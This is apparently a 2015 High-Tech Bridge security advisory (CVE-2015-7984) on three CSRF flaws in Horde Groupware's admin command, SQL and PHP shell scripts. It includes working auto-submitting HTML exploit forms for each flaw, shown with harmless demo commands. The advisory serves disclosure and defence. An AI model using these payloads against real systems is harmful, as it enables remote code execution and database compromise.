Lucene search

K
htbridgeHigh-Tech BridgeHTB23272
HistorySep 30, 2015 - 12:00 a.m.

RCE and SQL injection via CSRF in Horde Groupware

2015-09-3000:00:00
High-Tech Bridge
www.htbridge.com
485

EPSS

0.007

Percentile

80.8%

High-Tech Bridge Security Research Lab discovered three Cross-Site Request Forgery (CSRF) vulnerabilities in a popular collaboration suite Horde Groupware, used by a variety of companies around the world. These vulnerabilities are very dangerous, since they can be used in targeted attacks against corporate clients. An attacker might be able to gain unauthorized access to information, stored in database, execute arbitrary commands on the server, compromise the entire application and perform attacks against application users and company’s infrastructure.

  1. Cross-Site Request Forgery in Horde Groupware: CVE-2015-7984

1.1 The vulnerability exists due to failure in the β€œ/admin/cmdshell.php” script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary system commands on the server.

CSRF exploit below sends HTTP POST request to vulnerable script and instructs it to display output of β€œ/bin/ls” command. As a result, you will see contents of β€œ/admin/” directory:

<form action=β€œhttp://[host]/admin/cmdshell.php” method=β€œpost” name=β€œmain”>
<input type=β€œhidden” name=β€œcmd” value=β€œls”>
<input value=β€œsubmit” id=β€œbtn” type=β€œsubmit” />
</form>
<script>
document.getElementById(β€˜btn’).click();
</script>

1.2 The vulnerability exists due to failure in the β€œ/admin/sqlshell.php” script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary SQL queries with application’s database.

The exploit code below executes β€œSELECT version()” query and displays version of current MySQL server:

<form action=β€œhttp://[host]/admin/sqlshell.php” method=β€œpost” name=β€œmain”>
<input type=β€œhidden” name=β€œsql” value=β€œSELECT version()”>
<input value=β€œsubmit” id=β€œbtn” type=β€œsubmit” />
</form>
<script>
document.getElementById(β€˜btn’).click();
</script>

1.3 The vulnerability exists due to failure in the β€œ/admin/phpshell.php” script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary php code on the server.

The exploit code below executes the β€œphpinfo()” function and displays its output:

<form action=β€œhttp://[host]/admin/phpshell.php” method=β€œpost” name=β€œmain”>
<input type=β€œhidden” name=β€œapp” value=β€œhorde”>
<input type=β€œhidden” name=β€œphp” value=β€œphpinfo();”>
<input value=β€œsubmit” id=β€œbtn” type=β€œsubmit” />
</form>
<script>
document.getElementById(β€˜btn’).click();
</script>